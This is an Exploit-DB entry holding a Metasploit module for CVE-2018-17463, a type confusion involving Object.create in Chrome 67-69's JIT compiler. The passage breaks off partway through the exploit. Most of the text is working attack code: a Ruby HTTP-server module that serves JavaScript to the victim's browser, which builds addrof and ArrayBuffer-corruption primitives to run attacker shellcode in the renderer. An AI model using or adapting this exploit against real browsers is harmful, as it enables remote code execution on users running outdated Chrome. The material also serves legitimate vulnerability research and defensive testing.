Exploit-DB #48184
Description: Google Chrome 67_ 68 and 69 - Object.create Type Confusion (Metasploit)
Type: remote
Platform: multiple
Date: 2020-03-09
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Google Chrome 67, 68 and 69 Object.create exploit',
      'Description'    => %q{
        This modules exploits a type confusion in Google Chromes JIT compiler.
      The Object.create operation can be used to cause a type confusion between a
      PropertyArray and a NameDictionary.
        The payload is executed within the rwx region of the sandboxed renderer
      process, so the browser must be run with the --no-sandbox option for the
      payload to work.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
          'saelo', # discovery and exploit
          'timwr', # metasploit module
        ],
      'References'     => [
          ['CVE', '2018-17463'],
          ['URL', 'http://www.phrack.org/papers/jit_exploitation.html'],
          ['URL', 'https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce'],
          ['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
          ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=888923'],
        ],
      'Arch'           => [ ARCH_X64 ],
      'Platform'       => ['windows', 'osx'],
      'DefaultTarget'  => 0,
      'Targets'        => [ [ 'Automatic', { } ] ],
      'DisclosureDate' => 'Sep 25 2018'))
    register_advanced_options([
      OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
    ])
  end

  def on_request_uri(cli, request)

    if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
      print_status("[*] " + request.body)
      send_response(cli, '')
      return
    end

    print_status("Sending #{request.uri} to #{request['User-Agent']}")

    jscript = %Q^
let shellcode = new Uint8Array([#{Rex::Text::to_num(payload.encoded)}]);

let ab = new ArrayBuffer(8);
let floatView = new Float64Array(ab);
let uint64View = new BigUint64Array(ab);
let uint8View = new Uint8Array(ab);

Number.prototype.toBigInt = function toBigInt() {
    floatView[0] = this;
    return uint64View[0];
};

BigInt.prototype.toNumber = function toNumber() {
    uint64View[0] = this;
    return floatView[0];
};

function hex(n) {
    return '0x' + n.toString(16);
};

function fail(s) {
    print('FAIL ' + s);
    throw null;
}

const NUM_PROPERTIES = 32;
const MAX_ITERATIONS = 100000;

function gc() {
    for (let i = 0; i < 200; i++) {
        new ArrayBuffer(0x100000);
    }
}

function make(properties) {
    let o = {inline: 42}      // TODO
    for (let i = 0; i < NUM_PROPERTIES; i++) {
        eval(`o.p${i} = properties[${i}];`);
    }
    return o;
}

function pwn() {
    function find_overlapping_properties() {
        let propertyNames = [];
        for (let i = 0; i < NUM_PROPERTIES; i++) {
            propertyNames[i] = `p${i}`;
        }
        eval(`
            function vuln(o) {
                let a = o.inline;
                this.Object.create(o);
                ${propertyNames.map((p) => `let ${p} = o.${p};`).join('\\n')}
                return [${propertyNames.join(', ')}];
            }
        `);

        let propertyValues = [];
        for (let i = 1; i < NUM_PROPERTIES; i++) {
            propertyValues[i] = -i;
        }

        for (let i = 0; i < MAX_ITERATIONS; i++) {
            let r = vuln(make(propertyValues));
            if (r[1] !== -1) {
                for (let i = 1; i < r.length; i++) {
                    if (i !== -r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) {
                        return [i, -r[i]];
                    }
                }
            }
        }

        fail("Failed to find overlapping properties");
    }

    function addrof(obj) {
        eval(`
            function vuln(o) {
                let a = o.inline;
                this.Object.create(o);
                return o.p${p1}.x1;
            }
        `);

        let propertyValues = [];
        propertyValues[p1] = {x1: 13.37, x2: 13.38};
        propertyValues[p2] = {y1: obj};

        let i = 0;
        for (; i < MAX_ITERATIONS; i++) {
            let res = vuln(make(propertyValues));
            if (res !== 13.37)
                return res.toBigInt()
        }

        fail("Addrof failed");
    }

    function corrupt_arraybuffer(victim, newValue) {
        eval(`
            function vuln(o) {
                let a = o.inline;
                this.Object.create(o);
                let orig = o.p${p1}.x2;
                o.p${p1}.x2 = ${newValue.toNumber()};
                return orig;
            }
        `);

        let propertyValues = [];
        let o = {x1: 13.37, x2: 13.38};
        propertyValues[p1] = o;
        propertyValues[p2] = victim;

        for (let i = 0; i < MAX_ITERATIONS; i++) {
            o.x2 = 13.38;
            let r = vuln(make(propertyValues));
            if (r !== 13.38)
                return r.toBigInt();
        }

        fail("Corrupt ArrayBuffer failed");
    }

    let [p1, p2] = find_overlapping_properties();
    print(`Properties p${p1} and p${p2} overlap after conversion to dictionary mode`);

    let memview_buf = new ArrayBuffer(1024);
    let driver_buf = new ArrayBuffer(1024);

    gc();

    let memview_buf_addr = addrof(memview_buf);
    memview_buf_addr--;
    print(`ArrayBuffer @ ${hex(memview_buf_addr)}`);

    let original_driver_buf_ptr = corrupt_arraybuffer(driver_buf, memview_buf_addr);

    let driver = new BigUint64Array(driver_buf);
    let original_mem